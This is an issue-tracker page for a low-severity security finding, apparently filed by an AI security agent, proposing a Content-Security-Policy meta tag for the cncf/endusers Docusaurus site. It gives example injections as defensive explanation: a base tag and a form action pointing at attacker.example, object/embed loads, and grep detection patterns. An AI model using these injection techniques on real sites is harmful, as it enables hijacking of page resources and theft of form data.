[sec-check] Published site ships no Content-Security-Policy: an injected base tag would repoint every relative URL (docusaurus.config.js headTags)

Open Beginner friendly
#356 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
1/5
Estimated time
Under an hour
Newbie friendliness
85/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
javascript
Domain
security, web-dev

Research direction

Open docusaurus.config.js and inspect the existing headTags array, including the manifest, apple-touch-icon, and application/ld+json entries. Check the generated site after the change and confirm that headTags contains a Content-Security-Policy meta tag with base-uri 'self', object-src 'none', and form-action 'self'.

Written by the indexing model from the issue text.

Description

agent/security hive/hosted-available-lke648397-260827-5n31 security

Security Finding

Severity: low
Type: unsafe-pattern (missing defense-in-depth / hardening)
Cluster: docusaurus.config.js -> headTags (site-wide response hardening). No other open issue or PR claims this file.

docusaurus.config.js declares three headTags entries — the web manifest link, the apple-touch-icon link, and an application/ld+json Organization block — and no security policy of any kind. The published site therefore ships with no Content-Security-Policy, and GitHub Pages (the deploy target in .github/workflows/deploy-gh-pages.yml) cannot add response headers, so a meta http-equiv tag in headTags is the only place this site can express one.

That matters here because this site renders a large amount of content it does not author:

  • docs/architectures/*.md is regenerated from github.com/cncf/architecture by scripts/import-architectures.mjs and compiled as MDX (#211).
  • static/img/architectures/** is mirrored verbatim from the same upstream (#194, #322).
  • data/metrics.json, data/awards.json, data/members.json and data/community-people.json supply href and src values that are rendered directly by src/components/.

Those individual sinks are being fixed one at a time. What is missing is the layer underneath them: if any single gate is bypassed, nothing constrains what the injected markup can then do.

Impact

With no policy present, injected markup on any page can:

  • Hijack every relative URL on the page by injecting a base tag pointing at https://attacker.example/. Docusaurus emits relative asset and navigation URLs, so a single base tag redirects the site's own script and link targets to an attacker origin. This is the highest-value escalation of any of the stored-injection findings above, and it needs no inline script at all.
  • Load a plugin document via <object data="..."> or <embed src="...">, which renders attacker content inside the endusers.cncf.io origin.
  • Exfiltrate a submitted form to an arbitrary origin via an injected <form action="https://attacker.example/">.

None of these are currently reachable — the live content is clean, verified by grepping docs/, blog/ and static/img/architectures/ for <script, <iframe, <object, <embed, javascript: and on*= handlers, which returns nothing. This is a missing mitigation, not a live exploit, which is why it is filed as low.

Recommendation

Add a fourth entry to the existing headTags array in docusaurus.config.js, immediately before the application/ld+json entry:

    {
      tagName: 'meta',
      attributes: {
        'http-equiv': 'Content-Security-Policy',
        // Defence in depth for content this site does not author: architecture
        // MDX and image assets are mirrored from cncf/architecture, and several
        // data/*.json files supply href and src values rendered by src/components.
        // These three directives need no allowance for inline or bundled script,
        // so they hold without constraining Docusaurus hydration or local search.
        content: [
          "base-uri 'self'",
          "object-src 'none'",
          "form-action 'self'",
        ].join('; '),
      },
    },

Scope is deliberate. base-uri, object-src and form-action are the three directives that require no script-src allowance, so they cannot break Docusaurus hydration, the theme-switch inline script, the application/ld+json block, or docusaurus-plugin-search-local. A script-src directive is not proposed: Docusaurus emits inline bootstrap scripts, so any script-src this site could actually ship would need 'unsafe-inline', which would provide no XSS protection while creating the false impression that it does.

Note that frame-ancestors is deliberately absent: browsers ignore it when delivered via a meta http-equiv tag, so clickjacking cannot be addressed from this file. That needs a response header and therefore a different hosting arrangement; it is out of scope here and is not claimed by this issue.

Completion criterion

  • docusaurus.config.js headTags contains a Content-Security-Policy meta tag setting base-uri 'self', object-src 'none' and form-action 'self'.

Filed by sec-check agent (ACMM L4/L5 — hold-gated mode)

— hive: agent=sec-check backend=copilot model=claude-opus-5

Dominant language
JavaScript
Stars
0
Forks
2
Avg merge
2d 22h
Merged PRs (30d)
12

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from cncf/endusers

All issues in cncf/endusers

Similar issues

More JavaScript issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.